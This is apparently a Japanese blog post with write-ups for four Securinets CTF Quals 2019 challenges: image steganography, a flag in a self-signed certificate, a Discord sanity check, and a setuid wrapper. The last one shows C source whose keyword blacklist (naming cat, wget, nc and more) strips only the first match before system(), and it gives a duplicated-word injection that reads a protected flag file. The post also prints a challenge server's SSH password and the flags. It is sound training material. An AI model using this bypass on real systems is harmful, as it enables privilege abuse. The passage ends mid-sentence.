CTF日本語サイト : Securinets CTF Quals 2019

2019年03月25日02:00

Securinets CTF Quals 2019 writeup EZ

カテゴリ: Securinets CTF Quals 2019

EZ
897
Welcome to Securinets, this one is an easy one.
Please make sure you hash the WORD with sha1 (lowercase hash letter)
The final flag is : Securinets{the_hash_of_the_word}
Pic Link
Author:BlueWhale

ダウンロードしたPNGファイルをImageJで開きます。[Image]－[Adjust]－[Color Balance]で下図のように画像を調整します。

すると下図のような画像になり、画像の最上部のラインに何らかの情報が埋め込まれていることが推測できます。

StegSolveを使って埋め込まれた情報を抽出できないか試してみます。[Analyse]－[Data Extract]でRGBの各第0ビットのみを抽出してみると下図のとおりテキストが抽出できます。

抽出したテキストを見てみると次の文が見つかります。

But he merely drew out a <DETELED_WORD> in which he had scribbled some

Google検索で<DETELED_WORD>の部分の単語を調べると、

memorandum-book

であることが分かります。この単語のsha1を求めます。
フラグは、

Securinets{b47f0d2a8866a75696f94a515d0cdf54c7ea3174}

です。

数学テクノロジー入門 (IMIシリーズ:進化する産業数学) [単行本]

岡田勘三

近代科学社

2018-08-30

タグ：: #Misc

2019年03月25日02:00

Securinets CTF Quals 2019 writeup HIDDEN

カテゴリ: Securinets CTF Quals 2019

HIDDEN
495
My friend asked me to find his hidden flag in this link .. Can you help me?
Link
Author:Tr'GFx

証明書にフラグが記載されています。

フラグは、

Securinets{HiDDeN_D@tA_In_S3lF_S3iGnEd_CeRtifICates}

です。

プロフェッショナルSSL/TLS [単行本（ソフトカバー）]

Ivan Ristić

ラムダノート

2018-06-04

タグ：: #Misc

2019年03月25日02:00

Securinets CTF Quals 2019 writeup Sanity Check

カテゴリ: Securinets CTF Quals 2019

Sanity Check
10
Join our discord server to get the flag : Link

discordに接続します。#generalチャンネルにフラグがあります。

フラグは、

Securinets{PReQu@l$_2K19}

です。

サイバーセキュリティレッドチーム実践ガイド [単行本（ソフトカバー）]

Peter Kim

マイナビ出版

2019-01-29

タグ：: #Misc

2019年03月25日02:00

Securinets CTF Quals 2019 writeup Welcome

カテゴリ: Securinets CTF Quals 2019

Welcome
703
Unlike other CTFs we build a custom welcome for u \o/
Your goal is to execute welcome binary ssh welcome@51.254.114.246
password : bc09c4a0a957b3c6d8adbb47ab0419f7
Author : Anis_Boss

sshで接続します。まずlsコマンドを実行してみます。flag.txtやwrapperプログラムがあります。wrapperプログラムを通してパーミッションの無いflag.txtを参照すればよさそうです。

$ ls -al
total 56
dr-xr-xr-x 2 welcome welcome 4096 Mar 23 20:23 .
drwxr-xr-x 22 root root 4096 Mar 23 23:03 ..
-rw-r--r-- 1 root root 0 Mar 24 07:25 .bash_history
-rw-r--r-- 1 welcome welcome 0 Mar 24 00:22 .bash_logout
-rw-r--r-- 1 welcome welcome 3812 Mar 24 04:46 .bashrc
-rw-r--r-- 1 welcome welcome 655 May 16 2017 .profile
-r-------- 1 welcome-cracked welcome-cracked 76 Mar 23 20:23 flag.txt
-r-------- 1 welcome-cracked welcome 8712 Mar 23 19:09 welcome
-rw-r----- 1 root root 175 Mar 23 12:27 welcome.c
-r-s--x--- 1 welcome-cracked welcome 13088 Mar 23 20:13 wrapper
-rw-r--r-- 1 root root 1741 Mar 23 20:13 wrapper.c

wrapper.cを見てみます。

$ cat wrapper.c
/* author : Anis_Boss */
#include <stdio.h>

int search(char str[], char word[])
{
int l, i, j;
/*length of word */
for (l = 0; word[l] != '\0'; l++);
for (i = 0, j = 0; str[i] != '\0' && word[j] != '\0'; i++)
{
if (str[i] == word[j])
{
j++;
}
else
{
j = 0;
}
}
if (j == l)
{
/* substring found */
return (i - j);
}
else
{
return - 1;
}
}

int delete_word(char str[], char word[], int index)
{
int i, l;
/* length of word */
for (l = 0; word[l] != '\0'; l++);

for (i = index; str[i] != '\0'; i++)
{
str[i] = str[i + l + 1];
}
}

void main(int argc, char* argv[])
{
char * blacklist[]={"cat","head","less","more","cp","man","scp","xxd","dd","od","python","perl","ruby","tac","rev","xz","tar","zip","gzip","mv","flag","txt","python","perl","vi","vim","nano","pico","awk","grep","egrep","echo","find","exec","eval","regexp","tail","head","less","cut","tr","pg","du","`","$","(",")","#","bzip2","cmp","split","paste","diff","fgrep","gawk","iconv","ln","most","open","print","read","{","}","sort","uniq","tee","wget","nc","hexdump","HOSTTYPE","$","arch","env","tmp","dev","shm","lock","run","var","snap","nano","read","readlink","zcat","tailf","zcmp","zdiff","zegrep","zdiff"};

char str[80], word[50];
int index;
printf("Welcome to Securinets Quals CTF \o/ \n");
printf("Enter string:\n");
read(0,str,79);
for (int i=0;i<sizeof(blacklist)/sizeof(blacklist[0]);i++)
{
index = search(str, blacklist[i]);

if (index != - 1)
{
delete_word(str, blacklist[i], index);
}

}
setreuid(geteuid(),geteuid());
close(0);
system(str);
}

入力文字列からblacklistに設定された単語を削除してコマンドの実行を防いでいるようですが、同じ単語に関しては最初に登場した単語しか削除していないように見えます。ためしにlsコマンドを2回入力してみます。lsコマンドが効きました。

$ ./wrapper
Welcome to Securinets Quals CTF o/
Enter string:
ls | ls
flag.txt welcome welcome.c wrapper wrapper.c

それではcatコマンドでflag.txtを参照します。

$ ./wrapper
Welcome to Securinets Quals CTF o/
Enter string:
cat cat flag flag.txt txt
securinets{who_needs_exec_flag_when_you_have_linker_reloaded_last_time!!!?}

フラグは、